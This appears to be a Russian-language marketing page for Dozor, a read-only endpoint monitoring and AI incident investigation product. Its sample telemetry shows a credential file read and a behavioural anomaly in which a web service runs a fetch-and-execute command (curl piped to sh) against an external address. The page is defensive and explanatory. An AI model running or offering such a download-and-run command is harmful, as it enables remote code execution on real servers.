01 Расследование
Расследование по плану и в рамках бюджета
ИИ-расследователь составляет план из запросов только на чтение, собирает данные телеметрии и с узлов и выдаёт итог с рекомендациями. Каждый шаг виден вместе с расходом токенов и стоимостью.
Консоль дежурной смены
Ручной разбор алертов
Аналитик разбирает алерты вручную: переходит между консолями и собирает данные с серверов, пока следы не исчезли.
Агент для Linux, Windows и macOS
Агент Dozor фиксирует на сервере запуск процессов, обращения к файлам, сетевые соединения и повышение привилегий. По этим записям аналитик восстанавливает действия пользователя после входа.
Агент подключается к центру по mTLS (TLS 1.3) и не открывает входящих портов. Наблюдение на уровне ядра работает только на чтение: правила агента фиксируют события и не блокируют процессы. На Linux агент использует eBPF, на Windows журнал событий, на macOS Endpoint Security.
Входы
SSH-входы и сессии: кто, откуда и каким ключом.
Журналы
Журналы служб, веб-серверов, контейнеров и journald. Ротация, обрезка и удаление журналов.
Процессы и права
Дерево процессов, sudo и повышение до root, включая попытки, отклонённые ядром.
Файлы
Чтение секретов и запись в cron, systemd, authorized_keys и PAM.
Ядро
Загрузка модулей и BPF-программ, отладка чужих процессов.
Сеть
Входящие и исходящие соединения с привязкой к процессу.
app-07, агент Dozor 1.24
только чтение
- 09:43:12svc-backup вошла по SSH с bastion-02
sshd[4102] auth=publickey key=ED25519в инцидент - 09:44:30Плановая ротация журналов
logrotate[4139] parent=cronштатно - 09:45:02svc-backup получила права root
sudo[4160] uid=1001 euid=0в инцидент - 09:45:40Прочитаны ключи платёжного сервиса
cat[4171] path=/opt/payments/.envв инцидент - 09:46:05Загружен модуль сетевого фильтра
modprobe[4176] module=nf_conntrack parent=systemdштатно - 09:47:15Соединение с сервером базы данных
ssh[4188] dst=db-03:22в инцидент
Dozor связал 4 из 6 событий с инцидентом INC-2041
Поведенческий анализ
Dozor ведёт профиль каждого сервера и рабочей нагрузки по четырём семействам событий: процессы, HTTP, соединения и журналы. Отклонение от профиля ИИ разбирает до инцидента, и дежурный узнаёт об атаке, для которой нет ни правила, ни индикатора.
Профиль считается обученным после суток наблюдения и 20 разных событий, история профиля хранится 7 дней. Новую структуру команды и новый шаблон журнала на обученном узле Dozor отправляет на разбор при первом появлении; для HTTP и соединений нужны отклонения по двум признакам или новая форма со всплеском частоты. Разбор ограничен дневным и месячным лимитом и квотой узла, по умолчанию 20 разборов в сутки. Новая установка включает четыре политики, по одной на семейство. Без подключённой модели профили обучаются, а инцидентов из отклонений Dozor не открывает.
web-04, рабочая нагрузка api (gunicorn)
Профиль обучен, история 7 дней
Процессы
структуры команд
convert {in} -resize {size} {out}4 812python3 -m api.jobs {task}1 306pg_isready -h db-012 016sh -c "curl -s {url} | sh"впервые
HTTP
маршруты и признаки запросов
GET /api/v1/files/{id}51 230POST /api/v1/render8 944GET /health20 160
Соединения
направления и порты
cache-01:637930 118db-01:543212 402storage-01:90002 207203.0.113.50:80впервые
Журналы
шаблоны сообщений
Rendered {n} pages in {ms} ms8 940Cache miss for {key}3 311Booting worker with pid {pid}96/bin/sh: {n}: wget: not foundвпервые
Разбор ИИ
3 отклонения за 40 секунд
- ЖурналыНовый шаблон в выводе gunicorn
- ПроцессыНовая команда в дереве gunicorn
- СоединенияНовое направление соединений
Подтверждено. Служба api запускает оболочку и загружает скрипт с внешнего адреса.
Разбор 3 из 20 на узел за сутки
INC-2107Высокий, передан ИИ-расследованиюРешение и расход записаны, инцидент не открыт
api на web-04: Dozor собрал три новых поведения за 40 секунд в один эпизод и передал его на разбор.
